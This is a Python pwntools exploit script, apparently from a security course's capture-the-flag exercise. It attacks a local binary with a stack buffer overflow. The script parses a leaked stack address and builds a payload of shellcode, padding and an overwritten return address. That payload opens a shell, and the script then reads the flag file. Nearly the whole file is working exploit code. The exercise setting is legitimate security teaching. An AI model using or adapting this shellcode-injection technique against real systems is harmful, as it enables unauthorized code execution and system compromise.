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https://github.com/20kaushik02/CSE545_SS_Work.git
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79 lines
2.3 KiB
Python
79 lines
2.3 KiB
Python
#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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# This exploit template was generated via:
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# $ pwn template /challenge/run
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from pwn import *
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# Set up pwntools for the correct architecture
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context.update(arch='amd64', os='linux')
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exe = context.binary = ELF(args.EXE or '/challenge/run')
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# Many built-in settings can be controlled on the command-line and show up
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# in "args". For example, to dump all data sent/received, and disable ASLR
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# for all created processes...
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# ./exploit.py DEBUG NOASLR
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def start(argv=[], *a, **kw):
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'''Start the exploit against the target.'''
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if args.GDB:
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return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
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else:
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return process([exe.path] + argv, *a, **kw)
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# Specify your GDB script here for debugging
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# GDB will be launched if the exploit is run via e.g.
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# ./exploit.py GDB
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gdbscript = '''
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break interact
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'''.format(**locals())
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#===========================================================
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# EXPLOIT GOES HERE
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#===========================================================
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# Arch: amd64-64-little
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# RELRO: No RELRO
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# Stack: No canary found
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# NX: NX unknown - GNU_STACK missing
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# PIE: No PIE (0x400000)
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# Stack: Executable
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# RWX: Has RWX segments
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io = start()
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# discard debug output, something about gdb connecting
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if args.GDB:
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io.recv()
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# first line - welcome msg, asks for confirmation
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print("[<<<] Received:-\t\t" + io.recv().decode(), end='')
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payload_1 = b'Y\n'
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print("[>>>>] Sending:-\t\t" + payload_1.decode(), end='')
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io.send(payload_1)
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# gives rsp address and takes input
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rsp_line = io.recv().decode()
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print("[<<<] Received:-\t\t" + rsp_line, end='')
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rsp_str = rsp_line.split()[-1].replace("\n", "")
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print("[O] The rsp is:-\t\t" + rsp_str)
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rsp_val = int(rsp_str, base=16)
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unbound_buffer = 0x7ffe33763820
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saved_rip = 0x7ffe337638c8
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offset = saved_rip-unbound_buffer
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payload_2_shellcode = asm(shellcraft.sh()) # from pwn
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payload_2_padding = b'F' * (offset - len(payload_2_shellcode)) # pad gap between end of shellcode up until saved_rip
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payload_2_rip = p64(rsp_val) # in this challenge, the vuln variable is last in stack, so rsp points to the variable's location
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payload_2 = payload_2_shellcode + payload_2_padding + payload_2_rip + b'\n'
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io.send(payload_2)
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print("[>>>>] Sending final payload...")
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# root shell gained
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io.send(b"cat /flag \n")
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io.interactive()
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